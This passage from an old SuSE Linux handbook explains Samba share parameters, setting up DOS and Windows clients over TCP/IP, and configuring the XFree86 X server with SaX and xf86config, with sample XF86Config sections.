- **`workgroup = workgroup`**
  On any Windows machine, Samba is assigned just like a work group where it can be seen in the “network environment”. “WORKGROUP” is the default work group for Windows for Workgroups.
- **`guest account = nobody`**
  Samba needs a user name that is listed in `/etc/password` and that only has limited permissions for certain tasks. If public shares (parameter **`public = yes`**) are defined, all operations are executed with this user ID. Even if no public share is defined, the account **`guest account`** has to be defined for the Samba machine to appear in the networking environment.
- **`keep alive = 30`**

Windows machines tend to crash from time to time. If they leave open connections behind, it could happen that the server recognizes this very much later. If you do not want Samba to waste resources, you can tell it to look whether the client is still alive by setting **`keep alive = 30`**.

- **`os level = 2`**

  This parameter **`os level = 2`** specifies that Samba provide browser services to WfW and Windows 95. If there is a NT machine on the network, Samba will not provide these services to it but use the NT machine itself.

- **`security = share`**

  See section in permissions.

The following three parameters serve for reading `/etc/printcap` and to export any mentioned printer. The section **`[homes]`** assigns parameters for the home directories. These directories are reachable via the user's name.

- **`comment = homedirectory`**

  Any share can be given a comment with SMB servers which classifies the share.

- **`browsable = no`**

  This setting prevents the share `homes` being visible in the networking environment. Any user can reach their home directory via their name.

- **`read only = no`**

  By default, Samba prohibits write access on exported shares. Logged in users should have permission to write in their home directories, so **`read only = no`** has to be set.

- **`create mode = 750`**

  Windows machines do not know the concept of UNIX permissions. That is why they cannot assign permissions when creating a file. The parameter **`create mode`** assigns which permissions should be used while creating a new file.

8.3 Installation of clients

DOS, Windows for Workgroups, and Windows 95 are important clients.

Clients can access Samba only via TCP/IP. NetBEUI and NetBIOS via IPX are not available at the moment. Since TCP/IP is becoming more and more popular even on Novell and Microsoft, it is not certain whether this is going to change in the near future.

8.3.1 DOS and Windows 3.1

DOS has not been designed for networks. For making DOS able to access Samba, a protocol stack from card drivers to network redirect has to be loaded. This protocol stack has been written for "naked" DOS and makes extensive use of memory below 1 MB. There is not very much memory left for applications. For those who want to continue using DOS programs, it is recommended that you switch to Windows 95 or Windows for Workgroups and run these programs in a DOS box. These two operating systems enable you to use TCP/IP without reducing DOS's conventional memory. This is achieved by a client software that makes use of the protected mode and directly accesses memory above the 1 MB limit.

If this is not possible either because a 80386 processor (or less) is being used or Windows is not available or the applications do not run in a DOS box, **mars_nwe** from Novell and its client software should be used. The Novell client software has been designed to be very memory efficient. You can get the NetWare client either from an existing NetWare installation or get a two-user **NetWare 4.1** test license from a bookstore. Many books on NetWare 4.1 also contain this CD.

The software required to make DOS cooperate with Samba can be obtained from `ftp://ftp.microsoft.com/bussys/Clients/MSCLIENT`. There are two self-extracting archives that each have to be unpacked onto a DOS diskette. On the first diskette is the setup program for automatically initializing the protocol stack. This setup program first selects NetBIOS via IPX as protocol. This has to be replaced by adding the TCP/IP protocol first and thereafter removing IPX.

The setup program configures the networking software to use a DHCP server which may not be available under Linux. Therefore, you have to set the parameters explicitly in the TCP/IP protocol settings and disable automatic configuration by setting **`Disable Automatic Configuration`** to `1`. If automatic configuration is not disabled, the machine will hang at the next reboot while waiting for the DHCP server. You should keep in mind that MSCLIENT does not give IP addresses as usual (`192.168.0.20`) but as (`192 168 0 20`) without the dots.

8.3.2 Windows for Workgroups

Windows for Workgroups already has SMP support built in. This is called a client for Microsoft networks and normally runs on NetBEUI or IPX. TCP/IP connection has also to be installed. The TCP/IP protocol stack, freely available at `ftp://ftp.microsoft.com/bussys/clients/WFW/TCP32B.EXE`, is a self-extracting archive that has to be unpacked onto a diskette in advance.

For the installation, first, in network setup, enter `'not listed or actualized protocol'` in `'drivers'` which is on the diskette.

After the contents of the diskette have been copied, the TCP/IP parameters have to be set which is done under `'Settings'`. Here, you need (as with Linux) the IP address of the machine, a netmask, and perhaps an existing gateway. More options can be set under `'Extended'`. Then set TCP/IP as the standard protocol or remove IPX/SPX and NetBEUI. This reduces the amount of memory being used and accelerates the start of Windows. If there are other machines that rely on this protocol you may, of course, not remove them!

After installation, you must restart. Thereafter, you can access the Linux machine via Samba the same as with other machines.

To use a printer on the Samba server, install the general PostScript printer driver of Windows for Workgroups and connect it to the Linux queue which includes the possibility of recognition by **apsfilter**.

8.3.3 Windows 95

Windows 95 has TCP/IP support built in. As with Windows for Workgroups, it is not installed as the default. To add TCP/IP, go to `'Control Panel'`, `'System'` and choose `'Add'`, `'Protocols'` `'TCP/IP from Microsoft'`. For the rest, the same applies as for Windows for Workgroups.

Part IV

The X Window System

Chapter 9

The X Window System

The **X Window System** is the de facto standard GUI for UNIX. **X11** was first developed as an enterprise of **DEC** (Digital Equipment Corporation) and the project Athena at **MIT** (Massachusetts Institute of Technology). The first release of **X11R1** was in September 1987. Since release six, the **X Consortium, Inc.** has been responsible for the development of the **X Window System**.

Today, the **X Window System** supports a wide variety of machines. **X11** is a network oriented product. Applications running on one machine can display their results on another machine provided the machines are connected via a network. This might be a local LAN or another machine reachable via the Internet.

XFree86™ is a freely available implementation of X-servers for PC systems. It was developed by a handful of ambitious programmers who founded the XFree86 team in 1992. This team lead to the foundation of the **The XFree86 Project** in 1994 whose aim it is to continue research and development on **X11** and to provide it to the public. SuSE would like to thank the XFree86 team for their help and for the permission to include beta servers on our CDs,[1] because without these, the production of our CDs would have been a lot more work (if it would have been possible at all).

The current release, XFree86 3.3.2.3, is an X11R6.3 system for PC-based UNIX systems.

The following sections cover the configuration of your X-server. The two main configuration tools are **XF86Setup** and **xf86config**. **XF86Setup** works directly with your X-server and is mouse-driven. In contrast, the user interface of **xf86config** is quite primitive, but it is able to achieve a successful configuration in those rare instances when **XF86Setup** fails. We describe both tools in some detail.

For really exploiting your graphics adaptor and monitor, we include, in addition, an option to optimize the configuration. Still more detailed information on configuring the X Window System is in `/usr/doc/packages/xf86`.

[1] Parts of this documentation are taken from chapter *XFree86 konfigurieren* from[Hetze et al., 1995] which was kindly given to us by **Dirk Hohndel**.

Please configure your X Window System with extreme care! Never start the X Window System until the configuration is finished. A faultily configured system can cause irreparable damage to your hardware (this especially applies to fixed-frequency monitors). The authors of this book and SuSE cannot be held responsible for damages. This text has been written with extreme care, but this does not guarantee that all methods presented in this book are correct and cannot damage your hardware.

Using YaST, first install the appropriate packages.

For **XF86Setup**, you must install the package `xfsetup` with all its dependencies. For **xf86config**, you must install the package `xf86`. Of course, you must install the appropriate X-server for your hardware.

9.1 Configuration Using SaX

SaX ("**S**uSE. **A**dvanced **X** Configuration Tool" serves to provide a simple installation tool for X Window SystemẎou can use it via GUI or mouse. Apart from a few special cases, e.g. extremely recent or very ancient hardware, it recognizes most hardware components; as a result, X server setup should be a breeze.

9.1.1 A Fresh Installation

You have to have some data about your system for a fresh X Window System installation. It is also the graphical user interface for all Linux systems.

- The currently used monitor (product name).
- The keyboard type
- The mouse type and the interface through which it is connected to the system.
- The manufacturer and name of your video card.

You have to start **SaX** (**`sax`**) as user '`root`'. You could start **SaX** from YaST as well:
'`system administration`' and further configuration in menue the menu '`XFree86[tm]`' (cf. section 3.13).

You would call the program on the command line typing the following command:

```
earth:/root # sax
```

As soon as the program has started, it will look for installed PCI cards. If a PCI video card has been found, it will be identified anvideo card.

After the PCI scan the main window is opened to present the tab windows for the mouse ('`mouse`'), keyboard('`keyboard`'), the video card ('`video card`'), monitor ('`monitor`') and the screen ('`screen`'). **SaX** loads the hardware data. The data found during the system scan will be presented below their respective categories. That is how you can find, e.g., your video card under the tab window '`screen`'.

SaX will be trying hard to recognize as much hardware as possible; but to be sure that the configuration data are complete, you have to check all **SaX** settings and in some cases you have to correct some them !

The program makes five tab windows available: `'mouse'`, `'keyboard'`, `'video card'`, `'monitor'` and `'screen'`. You can just change tab windows by clicking tab window titles.

In case your mouse is not yet correctly configured, you have the possibility to control **SaX** via the keyboard.

Pressing the [Tab] you can change from entry field to entry field. To change into your desired tab window, you press [⟼] until the desired tab window title is surrounded by a black frame; then you are able to choose the desired tab window using [←] and [→] respectively. After confirming it with [↩] (= [Enter]) you will be able to work with the desired work window. You will find several GUI elements on each tab window: e.g. buttons, listboxes and entry fields. They can be manipulated via the keyboard as well. To use a button, you have to press [⟼] repeatedly until the desired button appears to carry a black frame. By typing [↩] or [SPACE] the button will be pressed and the desired action executed.

To select an entry in a listbox, push the [⟼] button until the desired box has been framed. By pressing [↑] or [↓] you can look for an entry by way of its colouring; then press [Enter] - it will activate it.

The Mouse

The tab window `'Mouse'` is the first you will see after the program has started (figure 9.1, page 191).

Figure 9.1: **SaX**: Mouse settings

Once you have configured your mouse while you are installing Linux, e.g. during **gpm** installation, the data will be read by **SaX** and your mouse will be available straight away under X Window SystemẎou can continue with your X server configuration.

If you have not configured your mouse, do it now ! Press ⟼ twice and choose the right mouse type under 'Manufacturer' (go through the list with ↑ and ↓); by pressing Enter you will have to set the correct mouse name. Move into the list using ⟼ and choose the right type.

Pressing the 'Apply' button you can check the correctness of you choice. Thereafter the mouse cursor should move across the screen.

In case you don't know exactly which mouse type you are currently running on your system or your mouse happens to be different from the listed types, or if a serial mouse 'Microsoft' cannot cannot run under the 'Standard Mouse' protocol, choose the submenu 'extended' to set the mouse protocol directly. There you can set further options, e.g. the baud rate and "three-button emulation".

Via 'Extended' you have the following tab windows available:

Figure 9.2: **SaX**: Extended Mouse Settings

'driver': If the producer is unknown, then the mouse protocol can be set here. The device file has to be chosen as well. If you are the lucky owner of a busmouse, you can try out the corresponding PS/2 variety.

'options' 3-Button Emulation etc.

'Test': You can test the mouse configuration using the lower part of the frame 'Testfield' (figure 9.2, page 192. If the mouse has been installed correctly, the mouse button symbols are supposed to blink !

The Keyboard

A Windows 95/98 keyboard with a English keyboard mapping has been entered as standard. (figure 9.3, page 193). Should you use another keyboard, you have to enter the correct settings, since the keyboard is one of the few hardware components not being recognized independently by the hardware scan.

Figure 9.3: **SaX**: Keyboard

By comparing your keyboard with the `'Keyboard Image'` shown on the screen you will be able to find the right model connected to you system. Don't forget to set the `'language'` to `English`, if that is not the case already.

The switch `'nodeadkeys'` serves with German keyboards to enable all signs on the keyboard buttons under X.

You probably do not need the settings in `'Extended'` ...

The changes become effective by using the `'Apply'` button.

The Video Card

On the `'screen'` tab window you will want to select the card manufacturers in the left list and the card version in the right list. (figure 9.4, page 194). **SaX** is trying to recognize the video card independently. This works without fail for PCI cards. The utility is accessing an extensive database to achieve this; cf. the package `cdb` (engl. *Component Database*). Hardware that has been found will be highlighted in certain colours.

There are advanced options hidden beneath the `'extended'` button (figure 9.5, page 194). This is relevant as soon as you choose the X server directly (`'Server settings'`). Also if you want to set memory size or specify the ramdac value, or if you would like to set a special ramdac or clock chip value (in `'chipsets'`), those options become important. Please reduce the ramdac value if the screen image looks distorted, e.g. if during a move-window operation the window fragments or the window title suddenly blinks.

Some video cards need special `'options'` found in this extended menu; normally they are not needed.

Figure 9.4: **SaX**: Video Card

Figure 9.5: **SaX**: Video Card – Extended Possibilities

> ISA card are not going to be recognized automatically; they have to be selected manually by the user of the relevant server .

If you get the error message `"The SVGA Server is not installed..."`, you have to install the aforementioned package via YaST (cf. section 3.12).

The Monitor

The monitor settings are the last great hurdle on your road to a running X server. You find the same divisions into the left tab window list on `‘Monitor’` to choose the monitor `‘manufacturer’`. Clicking one more option, you can choose your model on the right list (`‘Type’`. Should you not be able to find your own monitor on the list, you are still in a position to enter horizontal and vertical frequencies specific to your monitor by pushing the `'Extended'` button.Normally you should be able to find them in your monitor handbook.

In case you do not have any monitor data available, **SaX** will set horizontal frequencies to 29-61 kHz and vertical frequencies will be set to 60-70 Hz. They should leave most monitors without damage.

If, however, the screen image is remaining dark at the start of an X server or it is flickering. please shut down the server immediately via [Ctrl] + [Alt] + [⟵] [⟵] denotes the "backspace button" ! If you don't, your monitor might be damaged or destroyed.

Screen

If your video card installation is successful, you will have a large number of resolutions and color depths at your disposal. They can be administered from the `'screen'` menu.(figure 9.6, page 195).

Figure 9.6: **SaX**: Screen

The `'screen'` tab window might remind you of another operating system ;-)

On `'GUI'` you can choose a resolution(`'resolutions'`) for every color depth (`'color'`). The values for virtual screen sizes will be adjusted automatically; if you would like a virtual screen area size, then values have to be increased by `'Virtual X (= Width)'` and `'Virtual X'` (= height). This should *n*ot be necessary.

The X Window Systemoffers to the user the possibility a virtual desktop size. That is how you can work on a desktop greater than the actual screen area, e.g. on a screen the size `1152x864` with a resolution of `800x600`.

If you would like to set a list of several resolutions for a particular color depth, you might like to do this in expert mode (`'Extended'`, figure 9.7, page 196).

On the tab window `'resolution'` you can find:

Figure 9.7: **SaX**: Screen

`'Possible'` Resolutions.

`'Current'` Resolutions.

`'Colours'` The list of color depths.

First you should choose your preferred color depth on the vertical button panel to the right (`'Colors'`); the resolutions have to be adjusted to them as well.

The X server can start in several color depths, e.g. in `8 bit` color depth; that means that 256 colors can be shown on the screen. Each color depth has a corresponding screen resolution, e.g. `800x600`. Not all resolutions are available at every resolution.

Some video cards do not permit a resolution of `1600x1200` at `32 bit` color depth, since most video cards have too little memory.

At wert8 bit there are several resolutions of wert1600x1200 down to `640x480` available; they have been entered in `'Actual Resolution List'`. These resolutions can be changed without going into **SaX** or YaSTẎou can increase them by pressing Ctrl + Alt + + or just decrease them by pressing Ctrl + Alt + - . The increases and decreases happen in precisely the sequence you set during server setup using **SaX**Ṫhe first list entry is always chosen by the X server when it initializes.

You have to copy the desired resolution from the list of `'possible'` resolutions to the list of `'current'` resolutions. First you have to click on the resolution to mark it; then click on the button `'E'` to copy the desired resolution to the list of `'current'` resolutions. By clicking `'V'` you de-install the current resolutions.

The sequence of `'current'` list entries can be changed via the arrow buttons at the lower end of the list window. First you mark the entry you want to move and then you left-click the up- or the down arrow. Thereby the entry is trading places with its predecessor or its "downstairs" neighbour.

As soon as you are happy with your settings at `8 bit` color depth, you can select another color depth via the right button bar. e.g. `16 bit`. Now you see a list of `'possible'` resolutions possible at this color depth. They can be manipulated just as described above.

The tab window `'special'` permits generation of its own resolution. Furthermore you can determine the `'quality'` of the "modelines", i.e. you select one of two calculation methods.

Now you have to set the default start color depth of the X server. Thus you have to make the desired color depth current on your `'screen'` tab window (via `'colors'`); once that is done you should move to the next item on `'continue'`...

... This is how the machine knows that you have decided about all your setting to your satisfaction and that it is time to test the X server. That is how check all selected settings. Therefore `'continue'`...

Configuration Testing

After your workstation has computed the settings, a message box appears; if you are satisfied, click on `'ok'`. Then a background image and a split window should appear; in the left half there is information on present resolution as well as the horizontal and vertical monitor frequencies.

In the right half you can find two button fields `'size'` and `'position'` permitting image adjustment. The arrow boxes in `'size'` permit to stretch and contract horizontal and vertical image size; in `'Position'` you can change the relative position of the image to the monitor. Adjust the screen image in whatever way you prefer !

Small rectangular image controls can be found in all four corners of the screen image. They should be completely visible without displaying false colors.

> You can only do fairly small monitor adjustments using **SaX** it cannot replace manual adjustment using monitor buttons !

After screen image adjustment you have two ways to close the window:

`'Save'`: You finish your X Window Systemconfiguration and you save the present settings. Then you return to the command line.

`'stop'`: You would like to stop x server setup and remove the settings.

Press Alt + F1 to get back to the first console.

9.1.2 Reconfiguration

SaX helps you to adjust a running X server to you needs as well.

SaX reads in the existing `/etc/XF86Config`; X Window System stores the configuration data in this file and analyzes them as well. This is why it is not really important to do all the settings from the screen, since **SaX** is configuring all other X server functions. **SaX** displays the data, though, on the tab windows mentioned above.

The user is, however, not constrained at all while finding a configuration suited to her/his hardware and taste: (s)he will be able to find her/his model in a huge monitor database, thereby tuning configuration to her/his monitor's capabilities and adjusting screen position.

SaX also provides a comfortable GUI to administer color depths and resolutions. It is easily accessible via a simple mouse click on the tab window `‘screen’`.

9.1.3 Troubleshooting

We have to mention the most important problems involving X configuration using **SaX**:

- If the screen image flickers during the configuration test, or the image turns black, you have to shut down the X server immediately, since it might possibly get damaged if you continue to run the present configuration.

  Press Ctrl + Alt + ⟵

  You should go to `‘Monitor’` tab window and look for a suitable monitor; you could also enter the monitor data manually. The same procedure is valid, if the image begins to flicker while adjusting the screen.
- In particularly annoying cases **SaX** has two command line options available:

  `--servervga16`: Whenever **SaX** starts for the first time, the VGA16 server is being used instead of server suitable for the card. This server should run on almost all VGA cards. The VGA server will run every time your video card is not being recognized or if you have an ISA card.

  `--nosettings`: This stops **SaX** from writing values to its settings learnt during the PCI bus scan. In this case, however, you have to select a video card by hand.**SaX** cannot recognize it automatically anymore.

SaX documentation can be found in the `/usr/doc/packages/sax` directory. If at the start of **SaX** or during configuration an unforeseen event derails the normal chain of events, the sequence of processes is recorded in the `/root/ServerLog` and `/root/StartLog` files. You can find out about possible causes of your mishaps in these files.

9.1.4 Start of X Window System

The X Window System can be started by the user via **startx**. A preconfigured GUI for the **fvwm** windowmanager is made available. You should *not* start **startx** as `‘root’`, but rather from this account. X11 server error messages are being saved in the `~/.X.err` file. The **`startx`** call understands a few options; for instance, you can select 16 bit color depth by typing

```
newbie@earth: > startx -- -bpp 16
```

9.2 Configuration using xf86config

In most cases, **XF86Setup** is superior to **xf86config** as a simple configuration tool. There are, nevertheless, some rare cases where **XF86Setup** fails. In these cases, just use **xf86config** which works in almost every case.

Please have the following information at hand:

- mouse type, port to which the mouse is connected and baud rate (baud rate normally optional).
- specifications of the graphics card
- monitor data (frequencies, etc.)

If these settings are known, or you have your manuals at hand, you can start configuring. This can only be done by `'root'`.

The configuration is launched by:

earth:/root # `/usr/X11R6/bin/xf86config`

Mouse

After the welcome screen, you are asked your mouse type. You have the following selections (see screen output 9.2.1:

```
1. Microsoft compatible (2-button protocol)
2. Mouse Systems (3-button protocol)
3. Bus Mouse
4. PS/2 Mouse
5. Logitech Mouse (serial, old type, Logitech protocol)
6. Logitech MouseMan (Microsoft compatible)
7. MM Series
8. MM HitTablet
```

Screen output 9.2.1: Mouse selection for X

While selecting the mouse, you should consider that many of the new Logitech mice are Microsoft compatible or use the MouseMan protocol. The selection **`Bus Mouse`** refers to any bus mouse, even Logitech!

The suitable type is selected by giving its number. There may be a request whether "ChordMiddle" should be activated. This is necessary for some Logitech mice or trackballs to activate the second mouse button (the middle one).

```
Please answer the following question with either 'y' or 'n'.

Do you want to enable ChordMiddle?
```

If you use a two-button mouse, you can emulate the third button by answering `'y'` to the next question.

```
Please answer the following question with either 'y' or 'n'.

Do you want to enable Emulate3Buttons?
```

The middle button is emulated by simultaneously pressing the two mouse buttons.

Next, you have to specify the mouse's interface:

```
Now give the full device name that the mouse is connected to, for example

/dev/tty00. Just pressing enter will use the default, /dev/mouse.

Mouse device:
```

If you already entered a port for your mouse at system installation, just enter **`/dev/mouse`**.

Keyboard

Next, you are asked whether to assign **`Meta`** (ESC) to the left Alt-key and to assign **`ModeShift`** to the right Alt-key.

```
Please answer the following question with either 'y' or 'n'.

Do you want to enable these bindings for the Alt keys?
```

You should answer `'y'` to be able to access all keys via the right Alt and the left Alt can serve as Meta-key.[2]

Monitor

Next, you have to specify your monitor. You should be extremely careful with vertical and horizontal frequencies! These can be found in your monitor's handbook.

> Setting frequencies incorrectly can lead to irreparable damage to your monitor! The X Window System only addresses video modes which drive the monitor in the given frequency range. Entering frequencies which the monitor was not designed for can severely damage it!

Some monitors are listed under `/usr/X11R6/lib/X11/doc/Monitors`.[3]

For entering horizontal frequency, the following selection is presented (see screen output 9.2.2):

Only if the settings for your monitor are unknown should you choose one of the predefined modes. Selection `'10'` lets you enter the correct frequencies.

Yet another screen asks you to enter your monitor's vertical frequency (see screen output 9.2.3). Again, using the known values (i.e., choice `'5'`) should be preferred to one of the items `'1'` to `'4'`.

Next, you have to enter a name, vendor name and model for your monitor:

```
Enter an identifier for your monitor definition:
Enter the vendor name of your monitor:
Enter the model name of your monitor:
```

What you enter here is just to document your configuration and does not effect the configuration itself. Merely pressing Enter to select the default values is usually sufficient.

Configuring your monitor is now complete.

[2] e. g., in Emacs.
[3] Of course, we are not liable if this information is inaccurate!

```
hsync in kHz; monitor type with characteristic modes
 1 31.5;               Standard VGA, 640x480 @ 60 Hz
 2 31.5 - 35.1;        Super VGA, 800x600 @ 56 Hz
 3 31.5, 35.5;         8514 Compatible, 1024x768 @ 87 Hz interl.
                       (no 800x600)
 4 31.5, 35.15, 35.5;  Super VGA, 1024x768 @ 87 Hz il.,
                       800x600 @ 56 Hz
 5 31.5 - 37.9;        Extended Super VGA, 800x600 @ 60 Hz,
                       640x480 @ 72 Hz
 6 31.5 - 48.5;        Non-Interlaced SVGA, 1024x768 @ 60 Hz,
                       800x600 @ 72 Hz
 7 31.5 - 57.0;        High Frequency SVGA, 1024x768 @ 70 Hz
 8 31.5 - 64.3;        Monitor that can do 1280x1024 @ 60 Hz
 9 31.5 - 79.0;        Monitor that can do 1280x1024 @ 74 Hz
10 Enter your own horizontal sync range
Enter your choice (1-10):
```

Screen output 9.2.2: Entry for the monitor's horizontal frequency

```
 1 50-70
 2 50-90
 3 50-100
 4 40-150
 5 Enter your own vertical sync range

 Enter your choice (1-5):
```

Screen output 9.2.3: Vertical frequency choices

Graphics cards / X-server

Next, you must specify your graphics card:

```
Do you want to look at the card database?
```

If you enter 'y', a selection of predefined cards is presented.

Here, you can select your card by pressing the corresponding number. Do not trust this list blindly, since there can be differences in clock chip and RAMDAC[4] settings!

That is why further on there is a menu item to select a RAMDAC and a clock chip even though you have entered it already. At that time, the predefined settings for this card will be set as defaults.

The card definitions contain information on clock chips, RAMDAC and the X-server to be used. Furthermore, some valuable information concerning the card is written to the device section in `XF86Config`.

If your card is not listed, do not panic. In this case, switch back to the menu by selecting 'q'. Please only select one of the defined cards if it matches your card exactly! Selecting a card with a similar name is not recommended. Similar names do not necessarily refer to similar hardware.

[4] **R**andom **A**ccess **M**emory **D**igital-to-**A**nalogue **C**onverter.

Further information on how to configure your card are described in chapter section 9.3.

After specifying your card, the X-server is next. **xf86config** presents you the choices as seen in screen output 9.2.4.

Choice '5' only appears if you have selected one of the predefined cards in the previous step. In this case, choose '5' to select the X-server most suitable for your card.

```
1 The XF86_Mono server. This a monochrome server that should work on
  any VGA-compatible card, in 640x480 (more on some SVGA chipsets).
2 The XF86_VGA16 server. This is a 16-color VGA server that should
  work on any VGA-compatible card.
3 The XF86_SVGA server. This is a 256 color SVGA server that supports
  a number of SVGA chipsets. It is accelerated on some Cirrus and WD
  chipsets; it supports 16/32-bit color on certain Cirrus
  configurations.
4 The accelerated servers. These include XF86_S3, XF86_Mach32,
  XF86_Mach8, XF86_8514, XF86_P9000, XF86_AGX, XF86_W32 and
  XF86_Mach64.

These four server types correspond to the four different "Screen"
sections in XF86Config (vga2, vga16, svga, accel).

5 Choose the server from the card definition, XF86_S3.

Which one of these four screen types do you intend to run
by default (1-4)?
```

Screen output 9.2.4: Selecting an X-server

When you have selected a server, you are asked whether to create a symbolic link to /usr/X11R6/bin/X. If this is answered with 'y', you are asked whether to put it in /var/X11R6/bin/X.

```
Do you want to set it in /var/X11R6/bin?
```

Reply with 'y', since it might be not possible to write to /usr.[5]

Afterwards, if you have selected '4' (the accelerated servers) in the previous selection, a menu is presented with all the available accelerated X-servers, as shown in screen output 9.2.5.

After selecting your X-server, you have to configure for your graphics. First, you have to enter the memory installed as seen in screen output 9.2.6.

Next, you must enter the name, vendor name and type for your graphics card. These are merely descriptive entries. If you earlier selected a card from the predefined list, pressing Enter will enter this as the default.

```
Enter an identifier for your video card definition:

Enter the vendor name of your video card:

Enter the model (board) name of your video card:
```

If you chose an accelerated X-server, you have to enter the RAMDAC settings. This only applies to the S3 and AGX servers.

[5] e. g., at CD installation.

```
Select an accel server:

1 XF86_S3
2 XF86_Mach32
3 XF86_Mach8
4 XF86_8514
5 XF86_P9000
6 XF86_AGX
7 XF86_W32
8 XF86_MACH64

Which accel server:

.
```

Screen output 9.2.5: Accelerated X-server choices

```
How much video memory do you have on your video card:

1 256K
2 512K
3 1024K
4 2048K
5 4096K
6 Other

Enter your choice:
```

Screen output 9.2.6: Selecting video memory

In most cases, a simple Enter will do. If you have selected a graphics card that supports a certain RAMDAC, this should be chosen here (see screen output 9.2.7).

```
 1  AT&T 20C490 (S3 server)            att20c490
 2  AT&T 20C498/21C498/22C498 (S3)     att20c498
 3  AT&T 20C505 (S3)                   att20c505
 4  BrookTree BT481 (AGX)              bt481
 5  BrookTree BT482 (AGX)              bt482
 6  BrookTree BT485/9485 (S3)          bt485
 7  Sierra SC15025 (S3, AGX)           sc15025
 8  S3 GenDAC (86C708) (autodetected)  s3gendac
 9  S3 SDAC (86C716) (autodetected)    sdac
10  STG-1700 (S3)                      stg1700
11  TI 3020 (S3)                       ti3020
12  TI 3025 (S3)                       ti3025
```

Screen output 9.2.7: Setting a RAMDAC

After answering this question, you can enter a clock chip for accelerated cards, if you have one (see screen output 9.2.8). Entering a clock chip avoids clock lines, as the clocks needed can be programmed.

```
 1  AT&T 20C490 (S3 server)            att20c490
 2  AT&T 20C498/21C498/22C498 (S3)     att20c498
 3  AT&T 20C505 (S3)                   att20c505
 4  BrookTree BT481 (AGX)              bt481
 5  BrookTree BT482 (AGX)              bt482
 6  BrookTree BT485/9485 (S3)          bt485
 7  Sierra SC15025 (S3, AGX)           sc15025
 8  S3 GenDAC (86C708) (autodetected)  s3gendac
 9  S3 SDAC (86C716) (autodetected)    s3_sdac
10  STG-1700 (S3)                      stg1700
11  TI 3020 (S3)                       ti3020
12  TI 3025 (S3)                       ti3025
13  Normal DAC                         normal
```

Screen output 9.2.8: Setting the clock chip

If a card without a clock chip is selected, a simple Enter will do (thus not selecting a clock chip). If a card has been selected, the clock chip is set as default (if there is any).

If no clock chip has been set, **xf86config** suggests running **X -probeonly** for determining the supported clock timings. These are automatically written in `XF86Config` in a separate *clocks* line.

Here, we have to put straight why the automatically defined settings can be *really dangerous*: if the card has a programmable clock chip, the X-server cannot distinguish between the different clocks and only recognizes clocks 0, 1, and sometimes 2. All other values are more or less random numbers (normally, clocks 0, 1, and 2 repeat and are replace by zeros).

Any clock depends on the programming of the clock chip. Thus, clock 2 could have a different setting when probed than at runtime when it will be using the value entered into `XF86Config`. In that case, all the timings would be wrong and the monitor could be severely damaged!

A good clue to a programmable clock chip (and the difficulties that follow) are many zeros or repeating timing values. Never ever write such values to `XF86Config`!

To configure clock chips, follow these steps:

- The best way is to enter an existing (*programmable*) clock chip if there is one. It will be programmed accordingly and your `XF86Config` will not contain clock lines. You can compare chips on the card with the chips offered in the menu. Most recent S3 cards do have a programmable clock chip.
- If you *do not have a programmable* clock chip, you should launch **X -probeonly** and compare these values with those of the manual. If these values correspond (± 2), you should enter them in `XF86Config`. If there are no hints in the manual, you can determine the values by running **X -probeonly** (works best on an unloaded machine). Check whether the values are correct, since clock values cannot be determined on every card. (Many zeros or repeating values are a sign of not valid settings.) Enter the

valid values into XF86Config. Do not omit values; do not try to rearrange them nor change them in any way. The values have to be entered in the exact order.

Exception: if the P9000 server is used, order is irrelevant; just enter the modes for the desired clock in the *clocks line*.

- In general: if there is a programmable clock chip, there should be *no* clocks line in XF86Config (exception, P9000).
  For cards without a programmable clock chip, there should be a *clocks line* in XF86Config. This avoids the tedious (and sometimes even dangerous) testing at each startup. Furthermore, for cards with unreadable values, there are no invalid values and there is no risk to your monitor.

After having read the previous section, if you want to let clocks be recognized automatically, just enter 'y' to the following question:

```
Do you want me to run 'X -probeonly' now?
```

Now, the screen will turn black and then a list of probed clocks will be presented; or a message will appear that no clocks could be found. If you have selected a clock chip, this question will not appear since clocks are then programmed automatically. In this case, this section is skipped.

> If the previous question has been answered with 'y' and the screen remains black for more than 30 seconds, you should cancel testing immediately with Ctrl + Alt + ← , or Ctrl + c . If this does not work, switch off the monitor and machine so that the hardware will not be damaged!

Saving your configuration

Now the configuration file has to be written. It is recommended that you write it to /etc/XF86Config to ensure that, even in a networking environment, each machine has its own configuration file—even if they share the /usr filesystem.

xf86config first suggests writing XF86Config to the current directory. This should be answered with 'no':

```
Do you want it written to the current directory as 'XF86Config'?
```

Then you are asked where to save your configuration:

```
Please give a path+filename to write to:
```

Here, you have to enter: "/etc/XF86Config".

Now **xf86config** exits to the command line. This completes the configuration of X-Windows.

9.3 Optimizing the X Window System

xf86config creates /etc/XF86Config, the primary configuration file for the **X Window System**. Here, you can find all the settings concerning your graphics card, mouse and monitor.

XF86Config is divided into several sections where each configures a certain video topic. A section always resembles:

```
Section <name of section>
  entry 1
  entry 2
  entry n
EndSection
```

There exist the following types of sections:

Files	This section describes all paths used and the RGB color table.
ServerFlags	Here, general switches are set.
Keyboard	Servers for describing and setting up your keyboard. In our case, this can only be **Device** "Standard".
Pointer	Assigns all necessary references to the appropriate pointer. In most cases, this will be a mouse. Further possibilities are light pens or graphics boards. Important settings are the **Protocol** and **Device**.

Monitor	Describes the monitor in use. Elements of this section are a name that is referred to by defining **Screen**, bandwidth (**bandwidth**) and sync frequencies (**HorizSync** and **VertRefresh**). Settings are given in MHz, kHz and Hz. Normally, the server refuses any modeline that does not correspond with the specification of the monitor. This is to prevent too high frequencies from being sent to the monitor by accident.
Device	This section defines a certain graphics card. It is referenced by its name.
Screen	This section puts together a **Driver** (e. g., **vga2**), a **monitor** and a **Device** to form all necessary settings for XFree86. Subsection **Display** lets you assign a size to the virtual screen (**Virtual** of **ViewPort** using **Modes**).

We now take a closer look at **Monitor**, **Device** and **Screen**. Information on the other sections can be found under [The XFree86™-Team, 1996].

There can be many **Monitor** sections in XF86Config. Even multiple **Screen** sections are possible; which one is started depends on the launched server.

Screen section

We now take a closer look at the screen section. As mentioned above, this combines a monitor and a device section and determines which resolution using which color depth should be used.

A screen section can resemble the example in file contents 9.3.1, page 207.

This example shows that **Section "Screen"** contains a number of lines, each specifying an element of the screen display.

The first of these, **Driver**, determines which X-server this screen applies to. The servers listed on page 202 are accessed via the keywords in table 9.1.

```
Section "Screen"
    Driver      "accel"
    Device      "Miro Crystal 40SV"
    Monitor     "EIZO T563-T"
    DefaultColorDepth  16
    Subsection  "Display"
        Depth       8
        Modes       "1024x768" "800x600" "640x480"
        ViewPort    0 0
        Virtual     1024 768
    EndSubsection
    Subsection "Display"
        Depth       16
